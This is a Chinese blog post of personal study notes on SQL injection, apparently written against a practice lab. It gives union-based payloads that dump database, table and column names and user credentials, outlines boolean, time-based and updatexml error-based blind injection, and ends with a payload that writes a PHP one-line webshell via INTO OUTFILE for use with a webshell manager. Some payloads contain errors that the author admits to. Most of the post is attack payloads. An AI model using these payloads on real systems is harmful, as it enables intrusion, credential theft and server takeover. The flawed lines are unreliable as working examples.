SQL注入的学习心得

Y写在前面:SQL注入的个人思路,先判断注入点是否存在,然后看字符型还是数字型,试出来闭合方式,之后看有几个字段,再看回显位(假设有回显),然后用database()这样的函数获取信息,例如库名,然后再到重要表面 重要列名 重要字段名,再从information_schema里面拿字段信息,如果没回显的话就麻烦很多,可以用三种方式:报错注入、布尔盲注、时间盲注,达到有回显一般的效果。再之后可以用load outfile给被害者上传个一句话木马,再用菜刀获得WEBSHELL权限,攻击不就达到一定效果了

1.首先要进行SQL注入就要先判断这个注入点是数字型还是字符型,其实就是心里有个预设,这个网页的SQL表达式是select *form 表名 where id=x(这是数字型)还是 select *form 表名 where id=’x‘(这是字符型),要判断清楚人家是字符型还是数字型才可以进行注入。(数字型与字符型的判断方法,你用 1,2,3填上去都得到正确回显了,然后你再1‘ --+注释后面的语句试试,如果报错就说明是数字型,因为你把后面的都注释了,人家看来你就是一个 1’的数字,1‘是勾吧数字呢对吧。如果没报错,你填入的1’,等同前面有代码帮你写了‘,后面也有帮你写’,你把后面注释了但你补上了‘,很好,人家看来你就是’1‘,这就是字符呀,就没错了)这里判断的方法有错误,但是我已经会了 就不做修改 当作留念吧

2.好的,到第二步现在咱们已经判断好了注入类型,这里假设为字符型吧,那么就该尝试获取一些信息,比如说列数,这个目前只知道笨办法,?id=1’ and order by 3 --+,这里就是用来知道这个表有几列的,这里是3,如果没报错说明表至少有3列,如果你接下来写id=1’ and order by 4 --+,那意思就是按4列排嘛,那如果报错了,就说明表就3列了,目前只会这种办法,注意--+是一个注释符。,

3.爆出显示位,就是说我们就多查几列数据,看看那几列会在WEB页面上回显。?id=-1'union select 1,2,3--+,比如这个吧,就是咱们试图爆1、2、3列的数据,在靶场是这样

看,那么咱们就能从页面上看到第二列第三列的回馈了。 

那么知道这个回显位置,咱们就要利用起来做点什么了,好的!那就用上MYSQL数据库的一些函数吧!?id=-1'union select 1,database(),version()--+,这里把二三列的查询改成了函数,就能知道一些东西了。值得注意的是,这里?id=-1'union select 1,database(),version()--+,我前面不写-1改成1还不行,这个我暂时是不知道为何的。

这里的版本号啊 数据库名字就被爆出来了,换函数可以知道一些其他信息。

4.利用显示位进一步爆信息,?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+,在MYSQL数据库5.0版本以上吧,有个总和一切的表名的表information_schema.tables,上面的意思就是找security数据库下面的所有表,那基本上都是不止一个的,所以我们用group_concat()这个函数给连接一下。

information_schema:表示所有信息,包括库、表、列

information_schema.tables:记录所有表名信息的表

information_schema.columns:记录所有列名信息的表

table_schema:数据库的名称

table_name:表名

column_name:列名

group_concat():显示所有查询到的数据
 

这个查出来的结果如下

现在就可以看到这个security数据库下面的四个表了,很清楚可以看到。

(?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ 怎么我写的就不对,没看出来区别,留到以后的我来看看吧)

然后看到这四个表,通常我们都会觉得用户账密是在users这个表里

5.进一步爆信息,采用这个PAYLOAD,?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+,意思是寻找整个数据库系统中,归属于users这个表的列。

然后这不就得到了账密的俩个特敏感的列名了

6.获取账密,?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

?id=-1’ union select 1,2,group_concat(username,id,password) from information_schema.tables where name='uses' --+(后面这个我写的有问题,反正是从users这个表里拿数据,就不用where加上限定了)

 二、无报错回显的情况

1.应对方法一:使用布尔盲注布尔盲注主要用到length(),ascii() ,substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么。布尔盲注向对于联合注入来说需要花费大量时间,不过没有回显也不能使用联合注入了。要注意groupconcat这个函数,报错也许会有字符限制的,用这个可能会显示不全,比如说22222USERS,如果受到字符限制给显示成22222USER那就完了。

2.应对方法二:updatexml报错注入,就是利用updatexml这个函数,updatexml(1,2,3)这是用来更新XML文件的一个函数,1是目标内容,2是路径,3是更改的内容,1和3我们可以乱填,在2里面插入恶意代码,会报错,但是报错的时候已经执行了咱们的语句了。

?id=1" and updatexml(1,concat(!,select datebase(),!),3) 

?id=1" and updatexml(1,concat(!,(select database()),!),3) --+

?id=1"and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) --+(这个是对的,为什么我写的看着基本上一模一样却没效果

?id=1" and updatexml(1,concat(0x7e,SELECT database(),0x7e),3) --+

? id=1" and updatexml(1,concat(0x7e,select database(),0x7e),3) --+

应对方法三:使用时间盲注,也就是两个函数,sleeep() 和if(1,2,3)这里的IF是如果1成立就运行2,不成立就是3.时间盲注不管整体语句成立与否都给返回成功的画面,判断是否成功就靠SLEEP()函数运行与否了

三、SQL注入的后期

然后写马

?id=1‘))union select 1,"<?php eval($_REQUEST[1])?> ",3 into outfile "路径 D:// 要写//不然会当成转义,” --QWE。

将这个文件上传之后可以用菜刀等WEBSHELL管理工具,获得WEBSHELL权限做事。

POST传参系列: 

也可以通过这里看看字段,显错位,判断库名 表名 列名 数据的步骤。

1 and select database() -

1 and select table_name from information_schema_table where table_schema=security

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值